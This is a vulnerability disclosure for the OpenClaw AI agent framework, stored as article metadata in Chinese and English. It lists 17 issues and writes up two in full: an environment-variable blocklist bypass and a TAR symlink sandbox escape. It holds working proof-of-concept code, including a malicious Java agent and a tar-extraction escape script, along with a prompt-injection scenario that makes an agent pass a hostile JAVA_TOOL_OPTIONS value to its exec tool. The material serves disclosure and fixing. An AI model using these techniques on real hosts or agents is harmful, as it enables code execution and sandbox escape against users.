{"schemaVersion":"1.0","type":"TechArticle","types":["Article","TechArticle"],"slug":"openclaw-17-3zzz4","url":"https://zyvop.com/openclaw-17-3zzz4","title":"OpenClaw 17 vulnerability attack surfaces, only one fixed at the time of publishing this article","subtitle":null,"tldr":"挖了一些openclaw的漏洞 有一些是官方不同意收录的，什么沙箱逃逸、组件型ssrf bypass等等，然后我后面发现官方后面又直接修复了，还好我有在用ai实时监控，为了防止再被捡漏 所以在此公开，并已提交相关pr修复(当然2026/3/15之修复了一个)。 漏洞统计概览 严重级别 数量 Critical 1 Hig...","keywords":["0day漏洞挖掘/1day漏洞复现系列"],"entities":["I0veD","cyber security researcher","0day漏洞挖掘/1day漏洞复现系列","ZyVOP"],"keyTakeaways":["The environment variable sanitization in OpenClaw’s host execution path fails to block several well-known code-execution-capable environment variables. An agent (or a malicious prompt injection payload) can pass attacker-controlled values for JAVA_TOOL_OPTIONS, DOTNET_STARTUP_HOOKS, MAVEN_OPTS, GRADLE_OPTS, RUSTFLAGS, and others through the env parameter of the exec tool. These variables survive both validateHostEnv() and sanitizeHostExecEnv() and reach the child process, allowing arbitrary code loading in JVM, .NET CLR, Ansible, and Rust toolchain contexts."],"headings":["漏洞统计概览","漏洞清单","目录","Critical 级别","High 级别","Medium 级别","GHSA-001: Environment Variable Blocklist Bypass via JVM/CLR/Build-Tool Injection Vectors","Summary","Severity","Affected Component","Affected Versions","Root Cause","Missing Variables","Reproduction Steps","Prerequisites","Step 1: Verify blocklist contents","Step 2: Programmatic verification against sanitization functions","Step 3: End-to-end JVM code execution (verified on JDK 25.0.2, Windows 10)","Step 4: Agent-side trigger","Impact","Suggested Fix","GHSA-002: TAR Archive Extraction Destination Directory Symlink Bypass"],"outboundLinks":[],"contentText":"挖了一些openclaw的漏洞 有一些是官方不同意收录的，什么沙箱逃逸、组件型ssrf bypass等等，然后我后面发现官方后面又直接修复了，还好我有在用ai实时监控，为了防止再被捡漏 所以在此公开，并已提交相关pr修复(当然2026/3/15之修复了一个)。 漏洞统计概览 严重级别 数量 Critical 1 High 8 Medium 8 总计 17 漏洞清单 编号 严重级别 漏洞名称 类型 GHSA-017 Critical JSON5 原型污染 (config.patch) 原型污染 GHSA-001 High 环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入) 代码执行 GHSA-002 High TAR 提取目标目录符号链接绕过 沙箱逃逸 GHSA-004 High Firecrawl 集成 SSRF 与 API Key 泄露 SSRF + 凭证泄露 GHSA-007 High TTS Provider SSRF 与 API Key 泄露 SSRF + 凭证泄露 GHSA-010 High Anthropic/Gemini PDF Provider SSRF SSRF + 凭证泄露 GHSA-011 High Anthropic PDF SSRF (x-api-key 泄露) SSRF + 凭证泄露 GHSA-012 High Gemini PDF SSRF (URL 查询参数密钥泄露) SSRF + 凭证泄露 GHSA-014 High MiniMax VLM SSRF (API Key + 图像泄露) SSRF + 凭证泄露 GHSA-003 Medium Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸 工作区逃逸 GHSA-005 Medium agentDir 配置路径遍历 路径遍历 GHSA-006 Medium 浏览器扩展 Relay Token URL 泄露 凭证暴露 GHSA-008 Medium Media Parse 路径遍历绕过 路径遍历 GHSA-009 Medium Ollama/vLLM SSRF (模型发现与 Stream) SSRF GHSA-013 Medium Ollama Stream SSRF (聊天内容泄露) SSRF GHSA-015 Medium Relay Token URL 暴露 (日志/历史记录) 凭证暴露 GHSA-016 Medium Agent 目录路径遍历 (resolveUserPath) 路径遍历 目录 Critical 级别 GHSA-017: JSON5 原型污染 (config.patch) High 级别 GHSA-001: 环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入) GHSA-002: TAR 提取目标目录符号链接绕过 GHSA-004: Firecrawl 集成 SSRF 与 API Key 泄露 GHSA-007: TTS Provider SSRF 与 API Key 泄露 GHSA-010: Anthropic/Gemini PDF Provider SSRF GHSA-011: Anthropic PDF SSRF (x-api-key 泄露) GHSA-012: Gemini PDF SSRF (URL 查询参数密钥泄露) GHSA-014: MiniMax VLM SSRF (API Key + 图像泄露) Medium 级别 GHSA-003: Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸 GHSA-005: agentDir 配置路径遍历 GHSA-006: 浏览器扩展 Relay Token URL 泄露 GHSA-008: Media Parse 路径遍历绕过 GHSA-009: Ollama/vLLM SSRF (模型发现与 Stream) GHSA-013: Ollama Stream SSRF (聊天内容泄露) GHSA-015: Relay Token URL 暴露 (日志/历史记录) GHSA-016: Agent 目录路径遍历 (resolveUserPath) GHSA-001: Environment Variable Blocklist Bypass via JVM/CLR/Build-Tool Injection Vectors 严重级别: High | 类型: 代码执行 | 状态: 已验证 Summary The environment variable sanitization in OpenClaw’s host execution path fails to block several well-known code-execution-capable environment variables. An agent (or a malicious prompt injection payload) can pass attacker-controlled values for JAVA_TOOL_OPTIONS, DOTNET_STARTUP_HOOKS, MAVEN_OPTS, GRADLE_OPTS, RUSTFLAGS, and others through the env parameter of the exec tool. These variables survive both validateHostEnv() and sanitizeHostExecEnv() and reach the child process, allowing arbitrary code loading in JVM, .NET CLR, Ansible, and Rust toolchain contexts. Severity High (CVSS 8.1) – Arbitrary code execution on the host when the spawned process is a JVM, .NET, Ansible, Maven, Gradle, or Rust toolchain invocation. Affected Component src/infra/host-env-security-policy.json – blocklist definitions src/infra/host-env-security.ts – isDangerousHostEnvVarName(), isDangerousHostEnvOverrideVarName(), sanitizeHostExecEnv() src/agents/bash-tools.exec-runtime.ts – validateHostEnv(), execSchema src/node-host/invoke-system-run.ts – sanitizeSystemRunEnvOverrides() Affected Versions Current main branch as of 2026-03-10. The blocklist has not been updated to include these variables at any point in the commit history. Root Cause The exec tool schema (src/agents/bash-tools.exec-runtime.ts:98-101) exposes an env parameter to the AI agent: // src/agents/bash-tools.exec-runtime.ts:98-101 export const execSchema = Type.Object({ command: Type.String({ description: &amp;quot;Shell command to execute&amp;quot; }), workdir: Type.Optional(Type.String({ ... })), env: Type.Optional(Type.Record(Type.String(), Type.String())), ... });When an agent calls the exec tool with env: { \"JAVA_TOOL_OPTIONS\": \"-javaagent:/tmp/evil.jar\" }, the value flows through two sanitization stages. Neither blocks it. Stage 1 – validateHostEnv() (src/agents/bash-tools.exec-runtime.ts:57-76): export function validateHostEnv(env: Record&amp;lt;string, string&amp;gt;): void { for (const key of Object.keys(env)) { const upperKey = key.toUpperCase(); if (isDangerousHostEnvVarName(upperKey)) { // checks blockedKeys + blockedPrefixes only throw new Error(`Security Violation: ...`); } if (upperKey === &amp;quot;PATH&amp;quot;) { throw new Error(&amp;quot;Security Violation: ...&amp;quot;); } } }isDangerousHostEnvVarName() (src/infra/host-env-security.ts:59-69) checks against blockedKeys and blockedPrefixes from host-env-security-policy.json. JAVA_TOOL_OPTIONS is in neither list. Stage 2 – sanitizeHostExecEnv() (src/infra/host-env-security.ts:108-126): for (const [rawKey, value] of Object.entries(overrides)) { ... if (isDangerousHostEnvVarName(upper) || isDangerousHostEnvOverrideVarName(upper)) { continue; } merged[key] = value; // JAVA_TOOL_OPTIONS lands here }isDangerousHostEnvOverrideVarName() checks blockedOverrideKeys and blockedOverridePrefixes. JAVA_TOOL_OPTIONS is not in those lists either. The variable passes through both checks and enters the child process environment. Full call chain: Agent tool call { env: { &amp;quot;JAVA_TOOL_OPTIONS&amp;quot;: &amp;quot;...&amp;quot; } } -&amp;gt; bash-tools.exec.ts:369 validateHostEnv(params.env) -- PASS (not in blockedKeys) -&amp;gt; bash-tools.exec.ts:407 requestedEnv: params.env -&amp;gt; bash-tools.exec-host-node.ts:133 nodeEnv = params.requestedEnv -&amp;gt; bash-tools.exec-host-node.ts:210 params: { env: nodeEnv, ... } -&amp;gt; node-host/invoke-system-run.ts:223-224 sanitizeSystemRunEnvOverrides({ overrides: opts.params.env, shellWrapper: false }) shellWrapper=false -&amp;gt; return overrides unchanged -- PASS (not a shell wrapper) -&amp;gt; node-host/invoke-system-run.ts:238 opts.sanitizeEnv(envOverrides) = sanitizeHostExecEnv({ overrides, blockPathOverrides: true }) isDangerousHostEnvVarName(&amp;quot;JAVA_TOOL_OPTIONS&amp;quot;) -&amp;gt; false -- PASS isDangerousHostEnvOverrideVarName(&amp;quot;JAVA_TOOL_OPTIONS&amp;quot;) -&amp;gt; false -- PASS merged[&amp;quot;JAVA_TOOL_OPTIONS&amp;quot;] = &amp;quot;-javaagent:/tmp/evil.jar&amp;quot; -- INJECTED -&amp;gt; child process spawned with JAVA_TOOL_OPTIONS in envMissing Variables The following environment variables allow arbitrary code loading in their respective runtimes but are absent from all four blocklists in host-env-security-policy.json: Variable Runtime Effect JAVA_TOOL_OPTIONS JVM Loads arbitrary -javaagent: JAR at JVM startup JDK_JAVA_OPTIONS JVM (JDK 9+) Same as JAVA_TOOL_OPTIONS for modern JDK _JAVA_OPTIONS JVM (Oracle/OpenJDK) Same, older variant MAVEN_OPTS Maven Passes JVM flags to Maven, including -javaagent: GRADLE_OPTS Gradle Passes JVM flags to Gradle DOTNET_STARTUP_HOOKS .NET CLR Loads arbitrary .NET assembly at CLR startup CORECLR_ENABLE_PROFILING .NET CLR Enables CLR profiling CORECLR_PROFILER_PATH .NET CLR Loads arbitrary native profiler .so/.dll ANSIBLE_FILTER_PLUGINS Ansible Loads arbitrary Python plugin modules ANSIBLE_CALLBACK_PLUGINS Ansible Loads arbitrary Python callback modules RUSTFLAGS rustc Passes arbitrary flags including -C link-arg= for linker injection Reproduction Steps Prerequisites OpenClaw instance with host execution enabled (exec host = gateway or node) Java, .NET, or any of the above runtimes installed on the host Step 1: Verify blocklist contents 复现截图 - 已拦截变量确认： Step 1 Read src/infra/host-env-security-policy.json and confirm none of the 11 variables above appear in blockedKeys, blockedOverrideKeys, blockedPrefixes, or blockedOverridePrefixes. Step 2: Programmatic verification against sanitization functions 复现截图 - 绕过过滤器的变量： Step 2 // verify_env_bypass.js // Run from the openclaw-src root after building, or use ts-node/tsx const policy = require(&amp;quot;./src/infra/host-env-security-policy.json&amp;quot;); const allBlocked = new Set([ ...policy.blockedKeys.map(k =&amp;gt; k.toUpperCase()), ...(policy.blockedOverrideKeys || []).map(k =&amp;gt; k.toUpperCase()), ]); const allBlockedPrefixes = [ ...policy.blockedPrefixes.map(p =&amp;gt; p.toUpperCase()), ...(policy.blockedOverridePrefixes || []).map(p =&amp;gt; p.toUpperCase()), ]; const attackVars = [ &amp;quot;JAVA_TOOL_OPTIONS&amp;quot;, &amp;quot;JDK_JAVA_OPTIONS&amp;quot;, &amp;quot;_JAVA_OPTIONS&amp;quot;, &amp;quot;DOTNET_STARTUP_HOOKS&amp;quot;, &amp;quot;CORECLR_ENABLE_PROFILING&amp;quot;, &amp;quot;CORECLR_PROFILER_PATH&amp;quot;, &amp;quot;ANSIBLE_FILTER_PLUGINS&amp;quot;, &amp;quot;ANSIBLE_CALLBACK_PLUGINS&amp;quot;, &amp;quot;MAVEN_OPTS&amp;quot;, &amp;quot;GRADLE_OPTS&amp;quot;, &amp;quot;RUSTFLAGS&amp;quot;, ]; for (const v of attackVars) { const inSet = allBlocked.has(v); const prefixMatch = allBlockedPrefixes.some(p =&amp;gt; v.startsWith(p)); if (!inSet &amp;amp;&amp;amp; !prefixMatch) { console.log(BYPASSES BLOCKLIST:${v}); } } Expected output: all 11 variables print “BYPASSES BLOCKLIST”. Step 3: End-to-end JVM code execution (verified on JDK 25.0.2, Windows 10) 3a. Create a malicious Java agent: // EvilAgent.java import java.lang.instrument.Instrumentation; import java.io.File; import java.io.FileWriter; public class EvilAgent { public static void premain(String args, Instrumentation inst) { System.out.println(&amp;quot;!!!! EVIL AGENT PREMAIN EXECUTED !!!!&amp;quot;); System.out.println(&amp;quot;!!!! PID: &amp;quot; + ProcessHandle.current().pid()); try { File proof = new File(&amp;quot;PWNED.txt&amp;quot;); FileWriter fw = new FileWriter(proof); fw.write(&amp;quot;Code execution achieved via JAVA_TOOL_OPTIONS injection.\\n&amp;quot;); fw.write(&amp;quot;Timestamp: &amp;quot; + System.currentTimeMillis() + &amp;quot;\\n&amp;quot;); fw.write(&amp;quot;PID: &amp;quot; + ProcessHandle.current().pid() + &amp;quot;\\n&amp;quot;); fw.write(&amp;quot;User: &amp;quot; + System.getProperty(&amp;quot;user.name&amp;quot;) + &amp;quot;\\n&amp;quot;); fw.close(); } catch (Exception e) { } } } // MANIFEST.MF Premain-Class: EvilAgentjavac EvilAgent.java jar cfm evil-agent.jar MANIFEST.MF EvilAgent.class3b. Create a benign target application: // Innocent.java public class Innocent { public static void main(String[] args) { System.out.println(&amp;quot;Hello from innocent application.&amp;quot;); } }javac Innocent.java3c. Simulate the full OpenClaw filter chain and spawn java: // final_poc.js -- uses real OpenClaw policy, not a mock const fs = require(&amp;quot;fs&amp;quot;); const { spawnSync } = require(&amp;quot;child_process&amp;quot;); const policy = JSON.parse(fs.readFileSync( &amp;quot;openclaw-src/src/infra/host-env-security-policy.json&amp;quot;, &amp;quot;utf8&amp;quot; )); // Reimplement OpenClaw's isDangerousHostEnvVarName + isDangerousHostEnvOverrideVarName const blockedKeys = new Set(policy.blockedKeys.map(k =&amp;gt; k.toUpperCase())); const blockedPrefixes = policy.blockedPrefixes.map(p =&amp;gt; p.toUpperCase()); const blockedOverrideKeys = new Set( (policy.blockedOverrideKeys || []).map(k =&amp;gt; k.toUpperCase()) ); const blockedOverridePrefixes = (policy.blockedOverridePrefixes || []).map( p =&amp;gt; p.toUpperCase() ); function isDangerous(key) { const u = key.toUpperCase(); if (blockedKeys.has(u)) return true; if (blockedOverrideKeys.has(u)) return true; if (blockedPrefixes.some(p =&amp;gt; u.startsWith(p))) return true; if (blockedOverridePrefixes.some(p =&amp;gt; u.startsWith(p))) return true; return false; } const agentEnv = { JAVA_TOOL_OPTIONS: &amp;quot;-javaagent:evil-agent.jar&amp;quot; }; const finalEnv = { PATH: process.env.PATH, SYSTEMROOT: process.env.SYSTEMROOT }; for (const [k, v] of Object.entries(agentEnv)) { if (!isDangerous(k)) finalEnv[k] = v; // passes through } const r = spawnSync(&amp;quot;java&amp;quot;, [&amp;quot;-cp&amp;quot;, &amp;quot;.&amp;quot;, &amp;quot;Innocent&amp;quot;], { env: finalEnv, encoding: &amp;quot;utf-8&amp;quot; }); console.log(r.stdout); console.log(r.stderr); 3d. Observed output (actual run, 2026-03-10): 复现截图 - 子进程环境验证： Step 3 STDOUT: !!!! EVIL AGENT PREMAIN EXECUTED !!!! !!!! PID: 148880 !!!! This code ran BEFORE the application's main() !!!! Proof file written to PWNED.txt Hello from innocent application. STDERR: Picked up JAVA_TOOL_OPTIONS: -javaagent:C:\\Users\\PC\\Desktop\\openclaw-audit\\java-poc\\evil-agent.jar EXIT CODE: 0 3e. Proof file content (PWNED.txt): 复现截图 - JVM 代码执行证明： Step 4 Code execution achieved via JAVA_TOOL_OPTIONS injection. Timestamp: 1773127510489 PID: 148880 User: PCThe JVM loaded evil-agent.jar via JAVA_TOOL_OPTIONS and executed EvilAgent.premain() before Innocent.main(). The attacker’s code wrote an arbitrary file to disk, confirming full code execution. Step 4: Agent-side trigger An attacker embeds a prompt injection payload in a repository README, fetched web page, or issue body that causes the OpenClaw agent to call: { &amp;quot;command&amp;quot;: &amp;quot;javac Main.java&amp;quot;, &amp;quot;env&amp;quot;: { &amp;quot;JAVA_TOOL_OPTIONS&amp;quot;: &amp;quot;-javaagent:evil-agent.jar&amp;quot; } }The exec tool schema accepts this. The filter chain passes JAVA_TOOL_OPTIONS through. The JVM loads the agent JAR before compilation starts. Impact An attacker who can influence agent tool calls (via prompt injection in user-provided content, fetched URLs, or repository files) can achieve arbitrary code execution on the host machine whenever the spawned command involves JVM, .NET CLR, Ansible, Maven, Gradle, or Rust toolchains. This bypasses the existing env variable security boundary without triggering any validation error. This was verified end-to-end on Windows 10 with JDK 25.0.2: the attacker’s premain() method executed before the target application’s main(), and successfully wrote an arbitrary file to disk. Suggested Fix Add the missing variables to blockedKeys in src/infra/host-env-security-policy.json: { &amp;quot;blockedKeys&amp;quot;: [ &amp;quot;NODE_OPTIONS&amp;quot;, &amp;quot;NODE_PATH&amp;quot;, &amp;quot;PYTHONHOME&amp;quot;, &amp;quot;PYTHONPATH&amp;quot;, &amp;quot;PERL5LIB&amp;quot;, &amp;quot;PERL5OPT&amp;quot;, &amp;quot;RUBYLIB&amp;quot;, &amp;quot;RUBYOPT&amp;quot;, &amp;quot;BASH_ENV&amp;quot;, &amp;quot;ENV&amp;quot;, &amp;quot;GIT_EXTERNAL_DIFF&amp;quot;, &amp;quot;SHELL&amp;quot;, &amp;quot;SHELLOPTS&amp;quot;, &amp;quot;PS4&amp;quot;, &amp;quot;GCONV_PATH&amp;quot;, &amp;quot;IFS&amp;quot;, &amp;quot;SSLKEYLOGFILE&amp;quot;, &amp;quot;JAVA_TOOL_OPTIONS&amp;quot;, &amp;quot;JDK_JAVA_OPTIONS&amp;quot;, &amp;quot;JAVA_OPTIONS&amp;quot;, &amp;quot;DOTNET_STARTUP_HOOKS&amp;quot;, &amp;quot;CORECLR_ENABLE_PROFILING&amp;quot;, &amp;quot;CORECLR_PROFILER_PATH&amp;quot;, &amp;quot;ANSIBLE_FILTER_PLUGINS&amp;quot;, &amp;quot;ANSIBLE_CALLBACK_PLUGINS&amp;quot;, &amp;quot;MAVEN_OPTS&amp;quot;, &amp;quot;GRADLE_OPTS&amp;quot;, &amp;quot;RUSTFLAGS&amp;quot; ], ... }Consider also adding prefix-based blocks for ANSIBLE and CORECLR_ to catch future variants. GHSA-002: TAR Archive Extraction Destination Directory Symlink Bypass 严重级别: High | 类型: 沙箱逃逸 | 状态: 已验证 Summary The TAR extraction path in src/infra/archive.ts does not validate whether the destination directory (destDir) is a symbolic link before extracting files into it. The ZIP extraction path correctly calls assertDestinationDirReady() which rejects symlinked destination directories, but the TAR path skips this check entirely. An attacker who can place a symlink at the expected extraction directory can redirect TAR extraction output to an arbitrary location on the filesystem, escaping sandbox boundaries. Severity High (CVSS 7.5) – Directory traversal / sandbox escape via symlink at extraction destination. Affected Component src/infra/archive.ts – extractArchive() (TAR path, line 627-678) vs extractZip() (line 507-580) Affected Versions Current main branch as of 2026-03-10. Root Cause archive.ts implements two extraction paths with asymmetric security checks: ZIP path (extractZip, line 507-514) – correctly validates destDir: // src/infra/archive.ts:507-514 async function extractZip(params: { archivePath: string; destDir: string; stripComponents?: number; limits?: ArchiveExtractLimits; }): Promise&amp;lt;void&amp;gt; { const limits = resolveExtractLimits(params.limits); const destinationRealDir = await assertDestinationDirReady(params.destDir); // &amp;lt;-- checks symlink ... }assertDestinationDirReady() (line 227-235) performs an lstat() on destDir and rejects it if it is a symbolic link: // src/infra/archive.ts:227-235 async function assertDestinationDirReady(destDir: string): Promise&amp;lt;string&amp;gt; { const stat = await fs.lstat(destDir); if (stat.isSymbolicLink()) { throw new ArchiveSecurityError(&amp;quot;destination-symlink&amp;quot;, &amp;quot;archive destination is a symlink&amp;quot;); } if (!stat.isDirectory()) { throw new ArchiveSecurityError( &amp;quot;destination-not-directory&amp;quot;, &amp;quot;archive destination is not a directory&amp;quot;, ); } ... }TAR path (extractArchive, line 627-678) – skips this check: // src/infra/archive.ts:642-658 if (kind === &amp;quot;tar&amp;quot;) { const limits = resolveExtractLimits(params.limits); const stat = await fs.stat(params.archivePath); if (stat.size &amp;gt; limits.maxArchiveBytes) { throw new Error(ERROR_ARCHIVE_SIZE_EXCEEDS_LIMIT); } const checkTarEntrySafety = createTarEntrySafetyChecker({ rootDir: params.destDir, // &amp;lt;-- raw destDir, NO assertDestinationDirReady() call stripComponents: params.stripComponents, limits, }); await withTimeout( tar.x({ file: params.archivePath, cwd: params.destDir, // &amp;lt;-- tar extracts here; if symlink, follows to target ... }), params.timeoutMs, label, ); return; } The TAR path passes params.destDir directly as both rootDir for entry safety checking and cwd for tar.x(). If destDir is a symlink, path.resolve(destDir, entryPath) in the safety checker resolves lexically (no realpath), so startsWith(rootDir) passes. But tar.x({ cwd: destDir }) follows the symlink, writing files to the symlink target. createTarEntrySafetyChecker() (line 591-625) only validates individual entry paths against rootDir; it does not check whether rootDir itself is a symlink: // src/infra/archive.ts:591-597 export function createTarEntrySafetyChecker(params: { rootDir: string; // taken as-is, never resolved via realpath or lstat stripComponents?: number; limits?: ArchiveExtractLimits; escapeLabel?: string; }): (entry: TarEntryInfo) =&amp;gt; void { ... }Reproduction Steps Prerequisites Linux/macOS system (symlink creation does not require elevated privileges) OpenClaw instance that handles TAR archive extraction (MCP tool installations, ACP sandbox file staging, or any feature that extracts .tar.gz archives) Step 1: Confirm the code asymmetry cd openclaw-src ZIP path calls assertDestinationDirReady: grep -n &amp;quot;assertDestinationDirReady&amp;quot; src/infra/archive.ts Output: line 227 (definition), line 514 (ZIP call) Note: NO call in the TAR path (lines 642-678) 复现截图 - TAR/ZIP 代码不对称确认： Step 1 Step 2: End-to-end exploitation (verified on Windows 10, Node.js 22, npm tar 7.x) 复现截图 - 设置符号链接和 TAR 归档： Step 2 复现截图 - TAR 提取过程： Step 3 // tar_symlink_poc.js const fs = require(&amp;quot;fs&amp;quot;); const path = require(&amp;quot;path&amp;quot;); const tar = require(&amp;quot;tar&amp;quot;); const os = require(&amp;quot;os&amp;quot;); const BASE = path.join(os.tmpdir(), &amp;quot;oclaw-tar-poc&amp;quot;); const SANDBOX_ROOT = path.join(BASE, &amp;quot;sandbox&amp;quot;); const OUTSIDE_DIR = path.join(BASE, &amp;quot;outside-sandbox&amp;quot;); const EXTRACT_DEST = path.join(SANDBOX_ROOT, &amp;quot;project&amp;quot;); // will be a junction const ARCHIVE_PATH = path.join(BASE, &amp;quot;payload.tar&amp;quot;); async function main() { // Setup fs.rmSync(BASE, { recursive: true, force: true }); fs.mkdirSync(SANDBOX_ROOT, { recursive: true }); fs.mkdirSync(OUTSIDE_DIR, { recursive: true }); // Create junction at extraction destination -&amp;gt; outside sandbox fs.symlinkSync(OUTSIDE_DIR, EXTRACT_DEST, &amp;quot;junction&amp;quot;); // On Linux: ln -s $OUTSIDE_DIR $EXTRACT_DEST // Create tar with payload const src = path.join(BASE, &amp;quot;tar-content&amp;quot;); fs.mkdirSync(src, { recursive: true }); fs.writeFileSync(path.join(src, &amp;quot;pwned.txt&amp;quot;), &amp;quot;Written OUTSIDE sandbox via TAR destDir symlink bypass.\\n&amp;quot;); await tar.c({ file: ARCHIVE_PATH, cwd: src }, [&amp;quot;pwned.txt&amp;quot;]); // Replicate OpenClaw extractArchive() TAR path (archive.ts:656-674) //NOTE: no assertDestinationDirReady() call await tar.x({ file: ARCHIVE_PATH, cwd: EXTRACT_DEST, // junction -&amp;gt; OUTSIDE_DIR preservePaths: false, strict: true, }); // Verify const proof = path.join(OUTSIDE_DIR, &amp;quot;pwned.txt&amp;quot;); console.log(&amp;quot;File outside sandbox:&amp;quot;, fs.existsSync(proof)); console.log(&amp;quot;Content:&amp;quot;, fs.readFileSync(proof, &amp;quot;utf8&amp;quot;)); } main(); Observed output (actual run, 2026-03-10): [1] Setting up directory structure... Sandbox root: C:\\Users\\PC\\AppData\\Local\\Temp\\oclaw-tar-poc\\sandbox Extract dest: C:\\Users\\PC\\AppData\\Local\\Temp\\oclaw-tar-poc\\sandbox\\project -&amp;gt; isSymlink: true -&amp;gt; points to: C:\\Users\\PC\\AppData\\Local\\Temp\\oclaw-tar-poc\\outside-sandbox (OUTSIDE sandbox) [2] Creating tar archive with payload... Archive created: C:\\Users\\PC\\AppData\\Local\\Temp\\oclaw-tar-poc\\payload.tar [3] Extracting with tar.x({ cwd: destDir }) -- replicating OpenClaw code... Extraction completed. [4] Checking results... File at OUTSIDE location: EXISTS Path: C:\\Users\\PC\\AppData\\Local\\Temp\\oclaw-tar-poc\\outside-sandbox\\pwned.txt Content: This file was written OUTSIDE the sandbox via TAR destDir symlink bypass. Timestamp: 1773127989959 Sandbox root (real): C:\\Users\\PC\\AppData\\Local\\Temp\\oclaw-tar-poc\\sandbox File landed at (real): C:\\Users\\PC\\AppData\\Local\\Temp\\oclaw-tar-poc\\outside-sandbox File is OUTSIDE sandbox: true [5] Contrast: what assertDestinationDirReady() would do... -&amp;gt; lstat().isSymbolicLink() = true -&amp;gt; Would throw: ArchiveSecurityError(&amp;quot;destination-symlink&amp;quot;) -&amp;gt; ZIP path: BLOCKED (correct) -&amp;gt; TAR path: NOT CHECKED (vulnerable) === RESULT === EXPLOIT SUCCESSFUL: TAR extraction wrote files outside the sandbox The file pwned.txt was written to outside-sandbox/ despite the extraction target appearing to be inside sandbox/project/. The junction redirected all writes outside the sandbox boundary. Step 3: Contrast with ZIP behavior 复现截图 - 验证沙箱逃逸： Step 4 If the same extraction were done with a ZIP archive, assertDestinationDirReady() (line 514) would call fs.lstat(destDir), detect the symlink, and throw ArchiveSecurityError(\"destination-symlink\", \"archive destination is a symlink\"). Extraction would be blocked. Impact An attacker who can create a symlink at an expected TAR extraction destination can redirect extracted file writes to arbitrary filesystem locations. In the context of OpenClaw: Sandbox escape: If TAR extraction targets a directory within a sandbox boundary, the symlink can point outside the sandbox, allowing file writes to the host filesystem. Arbitrary file overwrite: Extracted files land at the symlink target, potentially overwriting configuration files, scripts, or other sensitive data. Code execution: If the overwritten files are subsequently executed (scripts, config files loaded by services), this leads to code execution. The attack requires the ability to create a symlink at the extraction destination path before extraction occurs. This is feasible in scenarios where: - The attacker has limited write access to the sandbox filesystem - A prior path traversal or file write vulnerability allows symlink creation - The extraction destination is in a shared or user-writable directory Suggested Fix Call assertDestinationDirReady() in the TAR path, matching the ZIP path behavior: // src/infra/archive.ts, inside extractArchive(), TAR branch: if (kind === &amp;quot;tar&amp;quot;) { const limits = resolveExtractLimits(params.limits); const stat = await fs.stat(params.archivePath); if (stat.size &amp;gt; limits.maxArchiveBytes) { throw new Error(ERROR_ARCHIVE_SIZE_EXCEEDS_LIMIT); } const destinationRealDir = await assertDestinationDirReady(params.destDir); // ADD THIS const checkTarEntrySafety = createTarEntrySafetyChecker({ rootDir: destinationRealDir, // use resolved real path stripComponents: params.stripComponents, limits, }); await withTimeout( tar.x({ file: params.archivePath, cwd: destinationRealDir, // use resolved real path ... }), params.timeoutMs, label, ); return; } GHSA-003: Windows Platform: New File Creation Escapes Workspace via Directory Junction (Missing O_NOFOLLOW) 严重级别: Medium | 类型: 工作区逃逸 | 状态: 已验证","contentHash":"sha256:3c4ce93292be2077d72d022699fe144aa4b67ed5908d9a3c23a7562f38e68d82","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":["0day漏洞挖掘/1day漏洞复现系列"],"audience":"Software engineers and developers building applications with 0day漏洞挖掘/1day漏洞复现系列","tone":"Instructional, practical, code-first","readingTimeMinutes":12,"wordCount":3108,"faqs":null,"primaryTopic":"0day漏洞挖掘/1day漏洞复现系列","publishedAt":"2026-08-12T02:56:47.438Z","updatedAt":"2026-08-18T21:35:00.184Z","canonicalUrl":"https://www.cdxiaodong.life/article/3230f0c5-b87c-80c6-b3ca-e3ac510aa3cd"}